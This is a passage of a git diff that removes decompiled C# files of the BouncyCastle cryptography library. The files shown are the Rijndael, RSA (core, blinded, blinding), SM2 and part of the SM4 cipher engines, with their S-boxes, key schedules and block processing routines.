141, 157, 132, 144, 216, 171, 0, - 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, - 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, - 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, - 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, - 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, - 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, - 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, - 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, - 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, - 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, - 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, - 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, - 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, - 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, - 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, - 20, 99, 85, 33, 12, 125 - }; - - private static readonly byte[] rcon = new byte[30] - { - 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, - 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, - 151, 53, 106, 212, 179, 125, 250, 239, 197, 145 - }; - - private static readonly byte[][] shifts0 = new byte[5][] - { - new byte[4] { 0, 8, 16, 24 }, - new byte[4] { 0, 8, 16, 24 }, - new byte[4] { 0, 8, 16, 24 }, - new byte[4] { 0, 8, 16, 32 }, - new byte[4] { 0, 8, 24, 32 } - }; - - private static readonly byte[][] shifts1 = new byte[5][] - { - new byte[4] { 0, 24, 16, 8 }, - new byte[4] { 0, 32, 24, 16 }, - new byte[4] { 0, 40, 32, 24 }, - new byte[4] { 0, 48, 40, 24 }, - new byte[4] { 0, 56, 40, 32 } - }; - - private int BC; - - private long BC_MASK; - - private int ROUNDS; - - private int blockBits; - - private long[][] workingKey; - - private long A0; - - private long A1; - - private long A2; - - private long A3; - - private bool forEncryption; - - private byte[] shifts0SC; - - private byte[] shifts1SC; - - public virtual string AlgorithmName => "Rijndael"; - - public virtual bool IsPartialBlockOkay => false; - - private byte Mul0x2(int b) - { - if (b != 0) - { - return Alogtable[25 + (Logtable[b] & 0xFF)]; - } - return 0; - } - - private byte Mul0x3(int b) - { - if (b != 0) - { - return Alogtable[1 + (Logtable[b] & 0xFF)]; - } - return 0; - } - - private byte Mul0x9(int b) - { - if (b >= 0) - { - return Alogtable[199 + b]; - } - return 0; - } - - private byte Mul0xb(int b) - { - if (b >= 0) - { - return Alogtable[104 + b]; - } - return 0; - } - - private byte Mul0xd(int b) - { - if (b >= 0) - { - return Alogtable[238 + b]; - } - return 0; - } - - private byte Mul0xe(int b) - { - if (b >= 0) - { - return Alogtable[223 + b]; - } - return 0; - } - - private void KeyAddition(long[] rk) - { - A0 ^= rk[0]; - A1 ^= rk[1]; - A2 ^= rk[2]; - A3 ^= rk[3]; - } - - private long Shift(long r, int shift) - { - ulong num = (ulong)r >> shift; - if (shift > 31) - { - num &= 0xFFFFFFFFu; - } - return (long)(num | (ulong)(r << BC - shift)) & BC_MASK; - } - - private void ShiftRow(byte[] shiftsSC) - { - A1 = Shift(A1, shiftsSC[1]); - A2 = Shift(A2, shiftsSC[2]); - A3 = Shift(A3, shiftsSC[3]); - } - - private long ApplyS(long r, byte[] box) - { - long num = 0L; - for (int i = 0; i < BC; i += 8) - { - num |= (long)(box[(int)((r >> i) & 0xFF)] & 0xFF) << i; - } - return num; - } - - private void Substitution(byte[] box) - { - A0 = ApplyS(A0, box); - A1 = ApplyS(A1, box); - A2 = ApplyS(A2, box); - A3 = ApplyS(A3, box); - } - - private void MixColumn() - { - long num2; - long num3; - long num4; - long num = (num2 = (num3 = (num4 = 0L))); - for (int i = 0; i < BC; i += 8) - { - int num5 = (int)((A0 >> i) & 0xFF); - int num6 = (int)((A1 >> i) & 0xFF); - int num7 = (int)((A2 >> i) & 0xFF); - int num8 = (int)((A3 >> i) & 0xFF); - num |= (long)((Mul0x2(num5) ^ Mul0x3(num6) ^ num7 ^ num8) & 0xFF) << i; - num2 |= (long)((Mul0x2(num6) ^ Mul0x3(num7) ^ num8 ^ num5) & 0xFF) << i; - num3 |= (long)((Mul0x2(num7) ^ Mul0x3(num8) ^ num5 ^ num6) & 0xFF) << i; - num4 |= (long)((Mul0x2(num8) ^ Mul0x3(num5) ^ num6 ^ num7) & 0xFF) << i; - } - A0 = num; - A1 = num2; - A2 = num3; - A3 = num4; - } - - private void InvMixColumn() - { - long num2; - long num3; - long num4; - long num = (num2 = (num3 = (num4 = 0L))); - for (int i = 0; i < BC; i += 8) - { - int num5 = (int)((A0 >> i) & 0xFF); - int num6 = (int)((A1 >> i) & 0xFF); - int num7 = (int)((A2 >> i) & 0xFF); - int num8 = (int)((A3 >> i) & 0xFF); - num5 = ((num5 != 0) ? (Logtable[num5 & 0xFF] & 0xFF) : (-1)); - num6 = ((num6 != 0) ? (Logtable[num6 & 0xFF] & 0xFF) : (-1)); - num7 = ((num7 != 0) ? (Logtable[num7 & 0xFF] & 0xFF) : (-1)); - num8 = ((num8 != 0) ? (Logtable[num8 & 0xFF] & 0xFF) : (-1)); - num |= (long)((Mul0xe(num5) ^ Mul0xb(num6) ^ Mul0xd(num7) ^ Mul0x9(num8)) & 0xFF) << i; - num2 |= (long)((Mul0xe(num6) ^ Mul0xb(num7) ^ Mul0xd(num8) ^ Mul0x9(num5)) & 0xFF) << i; - num3 |= (long)((Mul0xe(num7) ^ Mul0xb(num8) ^ Mul0xd(num5) ^ Mul0x9(num6)) & 0xFF) << i; - num4 |= (long)((Mul0xe(num8) ^ Mul0xb(num5) ^ Mul0xd(num6) ^ Mul0x9(num7)) & 0xFF) << i; - } - A0 = num; - A1 = num2; - A2 = num3; - A3 = num4; - } - - private long[][] GenerateWorkingKey(byte[] key) - { - int num = 0; - int num2 = key.Length * 8; - byte[,] array = new byte[4, MAXKC]; - long[][] array2 = new long[MAXROUNDS + 1][]; - for (int i = 0; i < MAXROUNDS + 1; i++) - { - array2[i] = new long[4]; - } - int num3 = num2 switch - { - 128 => 4, - 160 => 5, - 192 => 6, - 224 => 7, - 256 => 8, - _ => throw new ArgumentException("Key length not 128/160/192/224/256 bits."), - }; - if (num2 >= blockBits) - { - ROUNDS = num3 + 6; - } - else - { - ROUNDS = BC / 8 + 6; - } - int num4 = 0; - for (int j = 0; j < key.Length; j++) - { - array[j % 4, j / 4] = key[num4++]; - } - int num5 = 0; - int num6 = 0; - while (num6 < num3 && num5 < (ROUNDS + 1) * (BC / 8)) - { - for (int k = 0; k < 4; k++) - { - long[] array4; - long[] array3 = (array4 = array2[num5 / (BC / 8)]); - int num7 = k; - nint num8 = num7; - array3[num7] = array4[num8] | ((long)(array[k, num6] & 0xFF) << num5 * 8 % BC); - } - num6++; - num5++; - } - while (num5 < (ROUNDS + 1) * (BC / 8)) - { - byte[,] array6; - for (int l = 0; l < 4; l++) - { - byte[,] array5 = (array6 = array); - int num9 = l; - nint num8 = num9; - array5[num9, 0] = (byte)(array6[(int)num8, 0] ^ S[array[(l + 1) % 4, num3 - 1] & 0xFF]); - } - (array6 = array)[0, 0] = (byte)(array6[0, 0] ^ rcon[num++]); - if (num3 <= 6) - { - for (int m = 1; m < num3; m++) - { - for (int n = 0; n < 4; n++) - { - byte[,] array7 = (array6 = array); - int num10 = n; - nint num8 = num10; - int num11 = m; - nint num12 = num11; - array7[num10, num11] = (byte)(array6[(int)num8, (int)num12] ^ array[n, m - 1]); - } - } - } - else - { - for (int num13 = 1; num13 < 4; num13++) - { - for (int num14 = 0; num14 < 4; num14++) - { - byte[,] array8 = (array6 = array); - int num15 = num14; - nint num8 = num15; - int num16 = num13; - nint num12 = num16; - array8[num15, num16] = (byte)(array6[(int)num8, (int)num12] ^ array[num14, num13 - 1]); - } - } - for (int num17 = 0; num17 < 4; num17++) - { - byte[,] array9 = (array6 = array); - int num18 = num17; - nint num8 = num18; - array9[num18, 4] = (byte)(array6[(int)num8, 4] ^ S[array[num17, 3] & 0xFF]); - } - for (int num19 = 5; num19 < num3; num19++) - { - for (int num20 = 0; num20 < 4; num20++) - { - byte[,] array10 = (array6 = array); - int num21 = num20; - nint num8 = num21; - int num22 = num19; - nint num12 = num22; - array10[num21, num22] = (byte)(array6[(int)num8, (int)num12] ^ array[num20, num19 - 1]); - } - } - } - int num23 = 0; - while (num23 < num3 && num5 < (ROUNDS + 1) * (BC / 8)) - { - for (int num24 = 0; num24 < 4; num24++) - { - long[] array4; - long[] array11 = (array4 = array2[num5 / (BC / 8)]); - int num25 = num24; - nint num8 = num25; - array11[num25] = array4[num8] | ((long)(array[num24, num23] & 0xFF) << num5 * 8 % BC); - } - num23++; - num5++; - } - } - return array2; - } - - public RijndaelEngine() - : this(128) - { - } - - public RijndaelEngine(int blockBits) - { - switch (blockBits) - { - case 128: - BC = 32; - BC_MASK = 4294967295L; - shifts0SC = shifts0[0]; - shifts1SC = shifts1[0]; - break; - case 160: - BC = 40; - BC_MASK = 1099511627775L; - shifts0SC = shifts0[1]; - shifts1SC = shifts1[1]; - break; - case 192: - BC = 48; - BC_MASK = 281474976710655L; - shifts0SC = shifts0[2]; - shifts1SC = shifts1[2]; - break; - case 224: - BC = 56; - BC_MASK = 72057594037927935L; - shifts0SC = shifts0[3]; - shifts1SC = shifts1[3]; - break; - case 256: - BC = 64; - BC_MASK = -1L; - shifts0SC = shifts0[4]; - shifts1SC = shifts1[4]; - break; - default: - throw new ArgumentException("unknown blocksize to Rijndael"); - } - this.blockBits = blockBits; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (typeof(KeyParameter).IsInstanceOfType(parameters)) - { - workingKey = GenerateWorkingKey(((KeyParameter)parameters).GetKey()); - this.forEncryption = forEncryption; - return; - } - throw new ArgumentException("invalid parameter passed to Rijndael init - " + Platform.GetTypeName(parameters)); - } - - public virtual int GetBlockSize() - { - return BC / 2; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("Rijndael engine not initialised"); - } - Check.DataLength(input, inOff, BC / 2, "input buffer too short"); - Check.OutputLength(output, outOff, BC / 2, "output buffer too short"); - UnPackBlock(input, inOff); - if (forEncryption) - { - EncryptBlock(workingKey); - } - else - { - DecryptBlock(workingKey); - } - PackBlock(output, outOff); - return BC / 2; - } - - public virtual void Reset() - { - } - - private void UnPackBlock(byte[] bytes, int off) - { - int num = off; - A0 = bytes[num++] & 0xFF; - A1 = bytes[num++] & 0xFF; - A2 = bytes[num++] & 0xFF; - A3 = bytes[num++] & 0xFF; - for (int i = 8; i != BC; i += 8) - { - A0 |= (long)(bytes[num++] & 0xFF) << i; - A1 |= (long)(bytes[num++] & 0xFF) << i; - A2 |= (long)(bytes[num++] & 0xFF) << i; - A3 |= (long)(bytes[num++] & 0xFF) << i; - } - } - - private void PackBlock(byte[] bytes, int off) - { - int num = off; - for (int i = 0; i != BC; i += 8) - { - bytes[num++] = (byte)(A0 >> i); - bytes[num++] = (byte)(A1 >> i); - bytes[num++] = (byte)(A2 >> i); - bytes[num++] = (byte)(A3 >> i); - } - } - - private void EncryptBlock(long[][] rk) - { - KeyAddition(rk[0]); - for (int i = 1; i < ROUNDS; i++) - { - Substitution(S); - ShiftRow(shifts0SC); - MixColumn(); - KeyAddition(rk[i]); - } - Substitution(S); - ShiftRow(shifts0SC); - KeyAddition(rk[ROUNDS]); - } - - private void DecryptBlock(long[][] rk) - { - KeyAddition(rk[ROUNDS]); - Substitution(Si); - ShiftRow(shifts1SC); - for (int num = ROUNDS - 1; num > 0; num--) - { - KeyAddition(rk[num]); - InvMixColumn(); - Substitution(Si); - ShiftRow(shifts1SC); - } - KeyAddition(rk[0]); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaBlindedEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaBlindedEngine.cs deleted file mode 100644 index 8857572..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaBlindedEngine.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RsaBlindedEngine : IAsymmetricBlockCipher -{ - private readonly IRsa core; - - private RsaKeyParameters key; - - private SecureRandom random; - - public virtual string AlgorithmName => "RSA"; - - public RsaBlindedEngine() - : this(new RsaCoreEngine()) - { - } - - public RsaBlindedEngine(IRsa rsa) - { - core = rsa; - } - - public virtual void Init(bool forEncryption, ICipherParameters param) - { - core.Init(forEncryption, param); - if (param is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)param; - key = (RsaKeyParameters)parametersWithRandom.Parameters; - random = parametersWithRandom.Random; - } - else - { - key = (RsaKeyParameters)param; - random = new SecureRandom(); - } - } - - public virtual int GetInputBlockSize() - { - return core.GetInputBlockSize(); - } - - public virtual int GetOutputBlockSize() - { - return core.GetOutputBlockSize(); - } - - public virtual byte[] ProcessBlock(byte[] inBuf, int inOff, int inLen) - { - if (key == null) - { - throw new InvalidOperationException("RSA engine not initialised"); - } - BigInteger bigInteger = core.ConvertInput(inBuf, inOff, inLen); - BigInteger bigInteger4; - if (key is RsaPrivateCrtKeyParameters) - { - RsaPrivateCrtKeyParameters rsaPrivateCrtKeyParameters = (RsaPrivateCrtKeyParameters)key; - BigInteger publicExponent = rsaPrivateCrtKeyParameters.PublicExponent; - if (publicExponent != null) - { - BigInteger modulus = rsaPrivateCrtKeyParameters.Modulus; - BigInteger bigInteger2 = BigIntegers.CreateRandomInRange(BigInteger.One, modulus.Subtract(BigInteger.One), random); - BigInteger input = bigInteger2.ModPow(publicExponent, modulus).Multiply(bigInteger).Mod(modulus); - BigInteger bigInteger3 = core.ProcessBlock(input); - BigInteger val = bigInteger2.ModInverse(modulus); - bigInteger4 = bigInteger3.Multiply(val).Mod(modulus); - if (!bigInteger.Equals(bigInteger4.ModPow(publicExponent, modulus))) - { - throw new InvalidOperationException("RSA engine faulty decryption/signing detected"); - } - } - else - { - bigInteger4 = core.ProcessBlock(bigInteger); - } - } - else - { - bigInteger4 = core.ProcessBlock(bigInteger); - } - return core.ConvertOutput(bigInteger4); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaBlindingEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaBlindingEngine.cs deleted file mode 100644 index f00da4b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaBlindingEngine.cs +++ /dev/null @@ -1,78 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RsaBlindingEngine : IAsymmetricBlockCipher -{ - private readonly IRsa core; - - private RsaKeyParameters key; - - private BigInteger blindingFactor; - - private bool forEncryption; - - public virtual string AlgorithmName => "RSA"; - - public RsaBlindingEngine() - : this(new RsaCoreEngine()) - { - } - - public RsaBlindingEngine(IRsa rsa) - { - core = rsa; - } - - public virtual void Init(bool forEncryption, ICipherParameters param) - { - RsaBlindingParameters rsaBlindingParameters; - if (param is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)param; - rsaBlindingParameters = (RsaBlindingParameters)parametersWithRandom.Parameters; - } - else - { - rsaBlindingParameters = (RsaBlindingParameters)param; - } - core.Init(forEncryption, rsaBlindingParameters.PublicKey); - this.forEncryption = forEncryption; - key = rsaBlindingParameters.PublicKey; - blindingFactor = rsaBlindingParameters.BlindingFactor; - } - - public virtual int GetInputBlockSize() - { - return core.GetInputBlockSize(); - } - - public virtual int GetOutputBlockSize() - { - return core.GetOutputBlockSize(); - } - - public virtual byte[] ProcessBlock(byte[] inBuf, int inOff, int inLen) - { - BigInteger bigInteger = core.ConvertInput(inBuf, inOff, inLen); - bigInteger = ((!forEncryption) ? UnblindMessage(bigInteger) : BlindMessage(bigInteger)); - return core.ConvertOutput(bigInteger); - } - - private BigInteger BlindMessage(BigInteger msg) - { - BigInteger bigInteger = blindingFactor; - bigInteger = msg.Multiply(bigInteger.ModPow(key.Exponent, key.Modulus)); - return bigInteger.Mod(key.Modulus); - } - - private BigInteger UnblindMessage(BigInteger blindedMsg) - { - BigInteger modulus = key.Modulus; - BigInteger bigInteger = blindedMsg; - BigInteger val = blindingFactor.ModInverse(modulus); - bigInteger = bigInteger.Multiply(val); - return bigInteger.Mod(modulus); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaCoreEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaCoreEngine.cs deleted file mode 100644 index 753b0ed..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaCoreEngine.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RsaCoreEngine : IRsa -{ - private RsaKeyParameters key; - - private bool forEncryption; - - private int bitSize; - - private void CheckInitialised() - { - if (key == null) - { - throw new InvalidOperationException("RSA engine not initialised"); - } - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - if (!(parameters is RsaKeyParameters)) - { - throw new InvalidKeyException("Not an RSA key"); - } - key = (RsaKeyParameters)parameters; - this.forEncryption = forEncryption; - bitSize = key.Modulus.BitLength; - } - - public virtual int GetInputBlockSize() - { - CheckInitialised(); - if (forEncryption) - { - return (bitSize - 1) / 8; - } - return (bitSize + 7) / 8; - } - - public virtual int GetOutputBlockSize() - { - CheckInitialised(); - if (forEncryption) - { - return (bitSize + 7) / 8; - } - return (bitSize - 1) / 8; - } - - public virtual BigInteger ConvertInput(byte[] inBuf, int inOff, int inLen) - { - CheckInitialised(); - int num = (bitSize + 7) / 8; - if (inLen > num) - { - throw new DataLengthException("input too large for RSA cipher."); - } - BigInteger bigInteger = new BigInteger(1, inBuf, inOff, inLen); - if (bigInteger.CompareTo(key.Modulus) >= 0) - { - throw new DataLengthException("input too large for RSA cipher."); - } - return bigInteger; - } - - public virtual byte[] ConvertOutput(BigInteger result) - { - CheckInitialised(); - byte[] array = result.ToByteArrayUnsigned(); - if (forEncryption) - { - int outputBlockSize = GetOutputBlockSize(); - if (array.Length < outputBlockSize) - { - byte[] array2 = new byte[outputBlockSize]; - array.CopyTo(array2, array2.Length - array.Length); - array = array2; - } - } - return array; - } - - public virtual BigInteger ProcessBlock(BigInteger input) - { - CheckInitialised(); - if (key is RsaPrivateCrtKeyParameters) - { - RsaPrivateCrtKeyParameters rsaPrivateCrtKeyParameters = (RsaPrivateCrtKeyParameters)key; - BigInteger p = rsaPrivateCrtKeyParameters.P; - BigInteger q = rsaPrivateCrtKeyParameters.Q; - BigInteger dP = rsaPrivateCrtKeyParameters.DP; - BigInteger dQ = rsaPrivateCrtKeyParameters.DQ; - BigInteger qInv = rsaPrivateCrtKeyParameters.QInv; - BigInteger bigInteger = input.Remainder(p).ModPow(dP, p); - BigInteger bigInteger2 = input.Remainder(q).ModPow(dQ, q); - BigInteger bigInteger3 = bigInteger.Subtract(bigInteger2); - bigInteger3 = bigInteger3.Multiply(qInv); - bigInteger3 = bigInteger3.Mod(p); - BigInteger bigInteger4 = bigInteger3.Multiply(q); - return bigInteger4.Add(bigInteger2); - } - return input.ModPow(key.Exponent, key.Modulus); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaEngine.cs deleted file mode 100644 index 194a75d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RsaEngine.cs +++ /dev/null @@ -1,42 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RsaEngine : IAsymmetricBlockCipher -{ - private readonly IRsa core; - - public virtual string AlgorithmName => "RSA"; - - public RsaEngine() - : this(new RsaCoreEngine()) - { - } - - public RsaEngine(IRsa rsa) - { - core = rsa; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - core.Init(forEncryption, parameters); - } - - public virtual int GetInputBlockSize() - { - return core.GetInputBlockSize(); - } - - public virtual int GetOutputBlockSize() - { - return core.GetOutputBlockSize(); - } - - public virtual byte[] ProcessBlock(byte[] inBuf, int inOff, int inLen) - { - BigInteger input = core.ConvertInput(inBuf, inOff, inLen); - BigInteger result = core.ProcessBlock(input); - return core.ConvertOutput(result); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SM2Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SM2Engine.cs deleted file mode 100644 index 6a87841..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SM2Engine.cs +++ /dev/null @@ -1,205 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class SM2Engine -{ - private readonly IDigest mDigest; - - private bool mForEncryption; - - private ECKeyParameters mECKey; - - private ECDomainParameters mECParams; - - private int mCurveLength; - - private SecureRandom mRandom; - - public SM2Engine() - : this(new SM3Digest()) - { - } - - public SM2Engine(IDigest digest) - { - mDigest = digest; - } - - public virtual void Init(bool forEncryption, ICipherParameters param) - { - mForEncryption = forEncryption; - if (forEncryption) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)param; - mECKey = (ECKeyParameters)parametersWithRandom.Parameters; - mECParams = mECKey.Parameters; - ECPoint eCPoint = ((ECPublicKeyParameters)mECKey).Q.Multiply(mECParams.H); - if (eCPoint.IsInfinity) - { - throw new ArgumentException("invalid key: [h]Q at infinity"); - } - mRandom = parametersWithRandom.Random; - } - else - { - mECKey = (ECKeyParameters)param; - mECParams = mECKey.Parameters; - } - mCurveLength = (mECParams.Curve.FieldSize + 7) / 8; - } - - public virtual byte[] ProcessBlock(byte[] input, int inOff, int inLen) - { - if (mForEncryption) - { - return Encrypt(input, inOff, inLen); - } - return Decrypt(input, inOff, inLen); - } - - protected virtual ECMultiplier CreateBasePointMultiplier() - { - return new FixedPointCombMultiplier(); - } - - private byte[] Encrypt(byte[] input, int inOff, int inLen) - { - byte[] array = new byte[inLen]; - Array.Copy(input, inOff, array, 0, array.Length); - ECMultiplier eCMultiplier = CreateBasePointMultiplier(); - byte[] encoded; - ECPoint eCPoint2; - do - { - BigInteger bigInteger = NextK(); - ECPoint eCPoint = eCMultiplier.Multiply(mECParams.G, bigInteger).Normalize(); - encoded = eCPoint.GetEncoded(compressed: false); - eCPoint2 = ((ECPublicKeyParameters)mECKey).Q.Multiply(bigInteger).Normalize(); - Kdf(mDigest, eCPoint2, array); - } - while (NotEncrypted(array, input, inOff)); - AddFieldElement(mDigest, eCPoint2.AffineXCoord); - mDigest.BlockUpdate(input, inOff, inLen); - AddFieldElement(mDigest, eCPoint2.AffineYCoord); - byte[] array2 = DigestUtilities.DoFinal(mDigest); - return Arrays.ConcatenateAll(encoded, array, array2); - } - - private byte[] Decrypt(byte[] input, int inOff, int inLen) - { - byte[] array = new byte[mCurveLength * 2 + 1]; - Array.Copy(input, inOff, array, 0, array.Length); - ECPoint eCPoint = mECParams.Curve.DecodePoint(array); - ECPoint eCPoint2 = eCPoint.Multiply(mECParams.H); - if (eCPoint2.IsInfinity) - { - throw new InvalidCipherTextException("[h]C1 at infinity"); - } - eCPoint = eCPoint.Multiply(((ECPrivateKeyParameters)mECKey).D).Normalize(); - byte[] array2 = new byte[inLen - array.Length - mDigest.GetDigestSize()]; - Array.Copy(input, inOff + array.Length, array2, 0, array2.Length); - Kdf(mDigest, eCPoint, array2); - AddFieldElement(mDigest, eCPoint.AffineXCoord); - mDigest.BlockUpdate(array2, 0, array2.Length); - AddFieldElement(mDigest, eCPoint.AffineYCoord); - byte[] array3 = DigestUtilities.DoFinal(mDigest); - int num = 0; - for (int i = 0; i != array3.Length; i++) - { - num |= array3[i] ^ input[inOff + array.Length + array2.Length + i]; - } - Arrays.Fill(array, 0); - Arrays.Fill(array3, 0); - if (num != 0) - { - Arrays.Fill(array2, 0); - throw new InvalidCipherTextException("invalid cipher text"); - } - return array2; - } - - private bool NotEncrypted(byte[] encData, byte[] input, int inOff) - { - for (int i = 0; i != encData.Length; i++) - { - if (encData[i] != input[inOff]) - { - return false; - } - } - return true; - } - - private void Kdf(IDigest digest, ECPoint c1, byte[] encData) - { - int digestSize = digest.GetDigestSize(); - byte[] array = new byte[System.Math.Max(4, digestSize)]; - int i = 0; - IMemoable memoable = digest as IMemoable; - IMemoable other = null; - if (memoable != null) - { - AddFieldElement(digest, c1.AffineXCoord); - AddFieldElement(digest, c1.AffineYCoord); - other = memoable.Copy(); - } - uint num = 0u; - int num2; - for (; i < encData.Length; i += num2) - { - if (memoable != null) - { - memoable.Reset(other); - } - else - { - AddFieldElement(digest, c1.AffineXCoord); - AddFieldElement(digest, c1.AffineYCoord); - } - Pack.UInt32_To_BE(++num, array, 0); - digest.BlockUpdate(array, 0, 4); - digest.DoFinal(array, 0); - num2 = System.Math.Min(digestSize, encData.Length - i); - Xor(encData, array, i, num2); - } - } - - private void Xor(byte[] data, byte[] kdfOut, int dOff, int dRemaining) - { - for (int i = 0; i != dRemaining; i++) - { - byte[] array2; - byte[] array = (array2 = data); - int num = dOff + i; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ kdfOut[i]); - } - } - - private BigInteger NextK() - { - int bitLength = mECParams.N.BitLength; - BigInteger bigInteger; - do - { - bigInteger = new BigInteger(bitLength, mRandom); - } - while (bigInteger.SignValue == 0 || bigInteger.CompareTo(mECParams.N) >= 0); - return bigInteger; - } - - private void AddFieldElement(IDigest digest, ECFieldElement v) - { - byte[] encoded = v.GetEncoded(); - digest.BlockUpdate(encoded, 0, encoded.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SM4Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SM4Engine.cs deleted file mode 100644 index 57c1342..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SM4Engine.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class SM4Engine : IBlockCipher -{ - private const int BlockSize = 16; - - private static readonly byte[] Sbox = new byte[256] - { - 214, 144, 233, 254, 204, 225, 61, 183, 22, 182, - 20, 194, 40, 251, 44, 5, 43, 103, 154, 118, - 42, 190, 4, 195, 170, 68, 19, 38, 73, 134, - 6, 153, 156, 66, 80, 244, 145, 239, 152, 122, - 51, 84, 11, 67, 237, 207, 172, 98, 228, 179, - 28, 169, 201, 8, 232, 149, 128, 223, 148, 250, - 117, 143, 63, 166, 71, 7, 167, 252, 243, 115, - 23, 186, 131, 89, 60, 25, 230, 133, 79, 168, - 104, 107, 129, 178, 113, 100, 218, 139, 248, 235, - 15, 75, 112, 86, 157, 53, 30, 36, 14, 94, - 99, 88, 209, 162, 37, 34, 124, 59, 1, 33, - 120, 135, 212, 0, 70, 87, 159, 211, 39, 82, - 76, 54, 2, 231, 160, 196, 200, 158, 234, 191, - 138, 210, 64, 199, 56, 181, 163, 247, 242, 206, - 249, 97, 21, 161, 224, 174, 93, 164, 155, 52, - 26, 85, 173, 147, 50, 48, 245, 140, 177, 227, - 29, 246, 226, 46, 130, 102, 202, 96, 192, 41, - 35, 171, 13, 83, 78, 111, 213, 219, 55, 69, - 222, 253, 142, 47, 3, 255, 106, 114, 109, 108, - 91, 81, 141, 27, 175, 146, 187, 221, 188, 127, - 17, 217, 92, 65, 31, 16, 90, 216, 10, 193, - 49, 136, 165, 205, 123, 189, 45, 116, 208, 18, - 184, 229, 180, 176, 137, 105, 151, 74, 12, 150, - 119, 126, 101, 185, 241, 9, 197, 110, 198, 132, - 24, 240, 125, 236, 58, 220, 77, 32, 121, 238, - 95, 62, 215, 203, 57, 72 - }; - - private static readonly uint[] CK = new uint[32] - { - 462357u, 472066609u, 943670861u, 1415275113u, 1886879365u, 2358483617u, 2830087869u, 3301692121u, 3773296373u, 4228057617u, - 404694573u, 876298825u, 1347903077u, 1819507329u, 2291111581u, 2762715833u, 3234320085u, 3705924337u, 4177462797u, 337322537u, - 808926789u, 1280531041u, 1752135293u, 2223739545u, 2695343797u, 3166948049u, 3638552301u, 4110090761u, 269950501u, 741554753u, - 1213159005u, 1684763257u - }; - - private static readonly uint[] FK = new uint[4] { 2746333894u, 1453994832u, 1736282519u, 2993693404u }; - - private uint[] rk; - - public virtual string AlgorithmName => "SM4"; - - public virtual bool IsPartialBlockOkay => false; - - private static uint tau(uint A) - { - uint num 